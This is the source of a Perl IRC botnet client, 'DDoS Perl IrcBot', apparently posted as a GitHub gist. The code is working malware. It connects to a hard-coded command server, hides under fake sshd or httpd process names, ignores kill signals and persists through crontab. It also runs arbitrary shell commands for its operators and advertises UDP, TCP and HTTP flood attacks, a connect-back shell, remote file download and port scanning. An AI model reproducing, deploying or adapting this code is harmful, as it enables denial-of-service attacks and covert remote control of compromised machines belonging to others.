| return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); | |
| my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); | |
| $dccsock->autoflush(1); | |
| $dcc_sel->add($dccsock); | |
| $DCC{$dccsock}{tipo} = 'get'; | |
| $DCC{$dccsock}{itime} = time; | |
| $DCC{$dccsock}{nick} = $nick; | |
| $DCC{$dccsock}{bytes} = $bytes; | |
| $DCC{$dccsock}{curbyte} = 0; | |
| $DCC{$dccsock}{arquivo} = $arquivo; | |
| $DCC{$dccsock}{ip} = $dccip; | |
| $DCC{$dccsock}{porta} = $dccporta; | |
| $DCC{$dccsock}{status} = "Recebendo"; | |
| } | |
| sub Status { | |
| my $socket = shift; | |
| my $sock_tipo = $DCC{$socket}{tipo}; | |
| unless (lc($sock_tipo) eq "chat") { | |
| my $nick = $DCC{$socket}{nick}; | |
| my $arquivo = $DCC{$socket}{arquivo}; | |
| my $itime = $DCC{$socket}{itime}; | |
| my $ftime = time; | |
| my $status = $DCC{$socket}{status}; | |
| $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime}); | |
| my $d_time = $ftime-$itime; | |
| my $cur_byte = $DCC{$socket}{curbyte}; | |
| my $bytes_total = $DCC{$socket}{bytes}; | |
| my $rate = 0; | |
| $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; | |
| my $porcen = ($cur_byte*100)/$bytes_total; | |
| my ($r_duv, $p_duv); | |
| if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) { | |
| $r_duv = $3; $r_duv++ if $4 >= 5; | |
| $rate = "$1\.$2"."$r_duv"; | |
| } | |
| if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { | |
| $p_duv = $3; $p_duv++ if $4 >= 5; | |
| $porcen = "$1\.$2"."$p_duv"; | |
| } | |
| return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); | |
| } | |
| return(0); | |
| } | |
| sub fixaddr { | |
| my ($address) = @_; | |
| chomp $address; | |
| if ($address =~ /^\d+$/) { | |
| return inet_ntoa(pack "N", $address); | |
| } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { | |
| return $address; | |
| } elsif ($address =~ tr/a-zA-Z//) { | |
| return inet_ntoa(((gethostbyname($address))[4])[0]); | |
| } else { | |
| return; | |
| } | |
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/perl | |
| ###################################################################################################################### | |
| ###################################################################################################################### | |
| ## DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team ## [ Help ] ########################################### | |
| ## Stealth MultiFunctional IrcBot writen in Perl ####################################################### | |
| ## Teste on every system with PERL instlled ## !u @system ## | |
| ## ## !u @version ## | |
| ## This is a free program used on your own risk. ## !u @channel ## | |
| ## Created for educational purpose only. ## !u @flood ## | |
| ## I'm not responsible for the illegal use of this program. ## !u @utils ## | |
| ###################################################################################################################### | |
| ## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ########################### | |
| ###################################################################################################################### | |
| ## !u @join <#channel> ## !u @udp1 <ip> <port> <time> ## !u @cback <ip> <port> ## | |
| ## !u @part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ## | |
| ## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <time> ## !u @portscan <ip> ## | |
| ## !u !op <channel> <nick> ## !u @tcp <ip> <port> <packet size> <time> ## !u @mail <subject> <sender> ## | |
| ## !u !deop <channel> <nick> ## !u @http <site> <time> ## <recipient> <message> ## | |
| ## !u !voice <channel> <nick> ## ## !u pwd;uname -a;id <for example> ## | |
| ## !u !devoice <channel> <nick> ## !u @ctcpflood <nick> ## !u @port <ip> <port> ## | |
| ## !u !nick <newnick> ## !u @msgflood <nick> ## !u @dns <ip/host> ## | |
| ## !u !msg <nick> ## !u @noticeflood <nick> ## ## | |
| ## !u !quit ## ## ## | |
| ## !u !uaw ## ## ## | |
| ## !u @die ## ## ## | |
| ## ## ## ## | |
| ###################################################################################################################### | |
| ###################################################################################################################### | |
| ############################# | |
| ##### [ Configuration ] ##### | |
| ############################# | |
| my @rps = ("/usr/local/apache/bin/httpd -DSSL", | |
| "/usr/sbin/httpd -k start -DSSL", | |
| "/usr/sbin/httpd", | |
| "/usr/sbin/sshd -i", | |
| "/usr/sbin/sshd", | |
| "/usr/sbin/sshd -D", | |
| "/usr/sbin/apache2 -k start", | |
| "/sbin/syslogd", | |
| "/sbin/klogd -c 1 -x -x", | |
| "/usr/sbin/acpid", | |
| "/usr/sbin/cron"); | |
| my $process = $rps[rand scalar @rps]; | |
| my @rversion = ("\001VERSION - unknown command.\001", | |
| "\001mIRC v5.91 K.Mardam-Bey\001", | |
| "\001mIRC v6.2 Khaled Mardam-Bey\001", | |
| "\001mIRC v6.03 Khaled Mardam-Bey\001", | |
| "\001mIRC v6.14 Khaled Mardam-Bey\001", | |
| "\001mIRC v6.15 Khaled Mardam-Bey\001", | |
| "\001mIRC v6.16 Khaled Mardam-Bey\001", | |
| "\001mIRC v6.17 Khaled Mardam-Bey\001", | |
| "\001mIRC v6.21 Khaled Mardam-Bey\001", | |
| "\001mIRC v6.31 Khaled Mardam-Bey\001", | |
| "\001mIRC v7.15 Khaled Mardam-Bey\001"); | |
| my $vers = $rversion[rand scalar @rversion]; | |
| my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra", | |
| "alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja", | |
| "anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis", | |
| "aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky", | |
| "blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram", | |
| "brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess", | |
| "chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker", | |
| "coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread", | |
| "crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario", | |
| "darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital", | |
| "djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica", | |
| "ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon", | |
| "eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw", | |
| "fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy", | |
| "gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie", | |
| "grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry", | |
| "hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez", | |
| "ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa", | |
| "jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz", | |
| "jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny", | |
| "joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze", | |
| "juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken", | |
| "keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas", | |
| "kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa", | |
| "kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux", | |
| "lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal", | |
| "lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny", | |
| "lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou", | |
| "manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max", | |
| "mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina", | |
| "mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw", | |
| "monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx", | |
| "mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc", | |
| "musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie", | |
| "natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip", | |
| "ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld", | |
| "outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal", | |
| "pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma", | |
| "pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz", | |
| "quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska", | |
| "raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta", | |
| "rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless", | |
| "saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor", | |
| "drug","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred", | |
| "sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn", | |
| "slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress", | |
| "spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj", | |
| "stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike", | |
| "sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone", | |
| "tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint", | |
| "timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme", | |
| "tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia", | |
| "vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara", | |
| "vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy", | |
| "weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman", | |
| "wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin", | |
| "yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou", | |
| "zwsiew","zwsiewale"); | |
| my $ircname = $rircname[rand scalar @rircname]; | |
| ## my @rrealname = ("4,1[ DDoS Security Team ]", | |
| ## "4,1 /!\ DDoS Security Team /!\ ", | |
| ## "12,1<///8,1///4,1###>", | |
| ## "2,1---=== 4,1 DDoS Security Team 2,1===---"); | |
| ## chop (my $realname = $rrealname[rand scalar @rrealname]); | |
| chop (my $realname = $rircname[rand scalar @rircname]); | |
| ## my @nickname = ("DDoS[U]"); | |
| ## my $nick =$nickname[rand scalar @nickname]; | |
| my $nick =$rircname[rand scalar @rircname]; | |
| $server = '159.223.39.233' unless $server; | |
| my $port = '443'; | |
| my $linas_max='8'; | |
| my $sleep='5'; | |
| my $homedir = "/tmp"; | |
| my $version = 'DDoS Perl Bot v1.0'; | |
| my @admins = ("oper","craig"); | |
| my @hostauth = ("unreal.life"); | |
| my @channels = ("#div2"); | |
| my $pacotes = 1; | |
| ################################################################# | |
| ##### [ Stop Editing if you dont know what are you doing. ] ##### | |
| ################################################################# | |
| $SIG{'INT'} = 'IGNORE'; | |
| $SIG{'HUP'} = 'IGNORE'; | |
| $SIG{'TERM'} = 'IGNORE'; | |
| $SIG{'CHLD'} = 'IGNORE'; | |
| $SIG{'PS'} = 'IGNORE'; | |
| use Socket; | |
| use IO::Socket; | |
| use IO::Socket::INET; | |
| use IO::Select; | |
| use Cwd 'abs_path'; | |
| $fpath = abs_path($0); | |
| chdir("$homedir"); | |
| $server="$ARGV[0]" if $ARGV[0]; | |
| $0="$process"."\0"x16;; | |
| my $pid=fork; | |
| exit if $pid; | |
| die "Can't fork in background: $!" unless defined($pid); | |
| # checks for pid file | |
| open FILE, $pidfile; | |
| chomp(my $pid = <FILE>); | |
| close FILE; | |
| $exists = 0; | |
| if ($pid != 0) { | |
| $exists = kill 0, $pid; | |
| } | |
| exit if ($exists); | |
| open F, ">$pidfile"; | |
| print F $$ . "\n"; | |
| close F; | |
| system ("echo '* * * * * $fpath' >> newcrontab ; crontab newcrontab; rm -fr newcrontab" ); | |
| # checks for pid file | |
| our %irc_servers; | |
| our %DCC; | |
| my $dcc_sel = new IO::Select->new(); | |
| $sel_cliente = IO::Select->new(); | |
| sub sendraw { | |
| if ($#_ == '1') { | |
| my $socket = $_[0]; | |
| print $socket "$_[1]\n"; | |
| } else { | |
| print $IRC_cur_socket "$_[0]\n"; | |
| } | |
| } | |
| sub getstore ($$) | |
| { | |
| my $url = shift; | |
| my $file = shift; | |
| $http_stream_out = 1; | |
| open(GET_OUTFILE, "> $file"); | |
| %http_loop_check = (); | |
| _get($url); | |
| close GET_OUTFILE; | |
| return $main::http_get_result; | |
| } | |
| sub _get | |
| { | |
| my $url = shift; | |
| my $proxy = ""; | |
| grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; | |
| if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { | |
| my $host = $1; | |
| my $port = $2 || 80; | |
| my $path = $3; | |
| $path = "/" unless defined($path); | |
| return _trivial_http_get($host, $port, $path); | |
| } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { | |
| my $host = $1; | |
| my $port = $2; | |
| my $path = $url; | |
| return _trivial_http_get($host, $port, $path); | |
| } else { | |
| return undef; | |
| } | |
| } | |
| sub _trivial_http_get | |
| { | |
| my($host, $port, $path) = @_; | |
| my($AGENT, $VERSION, $p); | |
| $AGENT = "get-minimal"; | |
| $VERSION = "20000118"; | |
| $path =~ s/ /%20/g; | |
| require IO::Socket; | |
| local($^W) = 0; | |
| my $sock = IO::Socket::INET->new(PeerAddr => $host, | |
| PeerPort => $port, | |
| Proto => 'tcp', | |
| Timeout => 60) || return; | |
| $sock->autoflush; | |
| my $netloc = $host; | |
| $netloc .= ":$port" if $port != 80; | |
| my $request = "GET $path HTTP/1.0\015\012" | |
| . "Host: $netloc\015\012" | |
| . "User-Agent: $AGENT/$VERSION/u\015\012"; | |
| $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache); | |
| $request .= "\015\012"; | |
| print $sock $request; | |
| my $buf = ""; | |
| my $n; | |
| my $b1 = ""; | |
| while ($n = sysread($sock, $buf, 8*1024, length($buf))) { | |
| if ($b1 eq "") { | |
| $b1 = $buf; | |
| $buf =~ s/.+?\015?\012\015?\012//s; | |
| } | |
| if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; } | |
| } | |
| return undef unless defined($n); | |
| $main::http_get_result = 200; | |
| if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) { | |
| $main::http_get_result = $1; | |
| if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) { | |
| my $url = $1; | |
| return undef if $http_loop_check{$url}++; | |
| return _get($url); | |
| } | |
| return undef unless $main::http_get_result =~ /^2/; | |
| } | |
| return $buf; | |
| } | |
| sub conectar { | |
| my $meunick = $_[0]; | |
| my $server_con = $_[1]; | |
| my $port_con = $_[2]; | |
| my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", | |
| PeerPort=>$port_con) or return(1); | |
| if (defined($IRC_socket)) { | |
| $IRC_cur_socket = $IRC_socket; | |
| $IRC_socket->autoflush(1); | |
| $sel_cliente->add($IRC_socket); | |
| $irc_servers{$IRC_cur_socket}{'host'} = "$server_con"; | |
| $irc_servers{$IRC_cur_socket}{'port'} = "$port_con"; | |
| $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
| $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; | |
| nick("$meunick"); | |
| sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname"); | |
| sleep 1; | |
| } | |
| } | |
| my $line_temp; | |
| while( 1 ) { | |
| while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); } | |
| delete($irc_servers{''}) if (defined($irc_servers{''})); | |
| my @ready = $sel_cliente->can_read(0); | |
| next unless(@ready); | |
| foreach $fh (@ready) { | |
| $IRC_cur_socket = $fh; | |
| $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; | |
| $nread = sysread($fh, $msg, 4096); | |
| if ($nread == 0) { | |
| $sel_cliente->remove($fh); | |
| $fh->close; | |
| delete($irc_servers{$fh}); | |
| } | |
| @lines = split (/\n/, $msg); | |
| for(my $c=0; $c<= $#lines; $c++) { | |
| $line = $lines[$c]; | |
| $line=$line_temp.$line if ($line_temp); | |
| $line_temp=''; | |
| $line =~ s/\r$//; | |
| unless ($c == $#lines) { | |
| parse("$line"); | |
| } else { | |
| if ($#lines == 0) { | |
| parse("$line"); | |
| } elsif ($lines[$c] =~ /\r$/) { | |
| parse("$line"); | |
| } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { | |
| parse("$line"); | |
| } else { | |
| $line_temp = $line; | |
| } | |
| } | |
| } | |
| } | |
| } | |
| sub parse { | |
| my $servarg = shift; | |
| if ($servarg =~ /^PING \:(.*)/) { | |
| sendraw("PONG :$1"); | |
| } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { | |
| my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; | |
| if ($args =~ /^\001VERSION\001$/) { | |
| notice("$pn", "".$vers.""); | |
| } | |
| if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { | |
| if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) { | |
| if ($onde eq "$meunick"){ | |
| shell("$pn", "$args"); | |
| } | |
| if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) { | |
| my $natrix = $1; | |
| my $arg = $2; | |
| if ($arg =~ /^\!(.*)/) { | |
| ircase("$pn","$onde","$1"); | |
| } elsif ($arg =~ /^\@(.*)/) { | |
| $ondep = $onde; | |
| $ondep = $pn if $onde eq $meunick; | |
| bfunc("$ondep","$1"); | |
| } else { | |
| shell("$onde", "$arg"); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { | |
| if (lc($1) eq lc($meunick)) { | |
| $meunick=$4; | |
| $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
| } | |
| } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { | |
| nick("$meunick-".int rand(9999)); | |
| } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { | |
| $meunick = $2; | |
| $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
| $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; | |
| foreach my $canal (@channels) { | |
| sendraw("MODE $nick +x"); | |
| sendraw("JOIN $canal"); | |
| sendraw("PRIVMSG $canal :4,1 status checking program online ... "); | |
| } | |
| } | |
| } | |
| sub bfunc { | |
| my $printl = $_[0]; | |
| my $funcarg = $_[1]; | |
| if (my $pid = fork) { | |
| waitpid($pid, 0); | |
| } else { | |
| if (fork) { | |
| exit; | |
| } else { | |
| ########################### | |
| ##### [ Help Module ] ##### | |
| ########################### | |
| if ($funcarg =~ /^help/) { | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Main Help: "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= "); | |
| } | |
| if ($funcarg =~ /^system/) { | |
| $uptime=`uptime`; | |
| $ownd=`pwd`; | |
| $id=`id`; | |
| $uname=`uname -srp`; | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration: "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server : 12$server "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port : 12$port "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels : 12@channels "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a : 12$uname "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime : 12$uptime "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID : 12$$ "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID : 12$id "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir : 12$ownd "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== "); | |
| } | |
| if ($funcarg =~ /^version/){ | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations: "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12Jericho "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year : 122012 "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== "); | |
| } | |
| if ($funcarg =~ /^flood/) { | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Flood Help: "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= "); | |
| } | |
| if ($funcarg =~ /^channel/) { | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Channel Help: "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick> "); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick> "); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment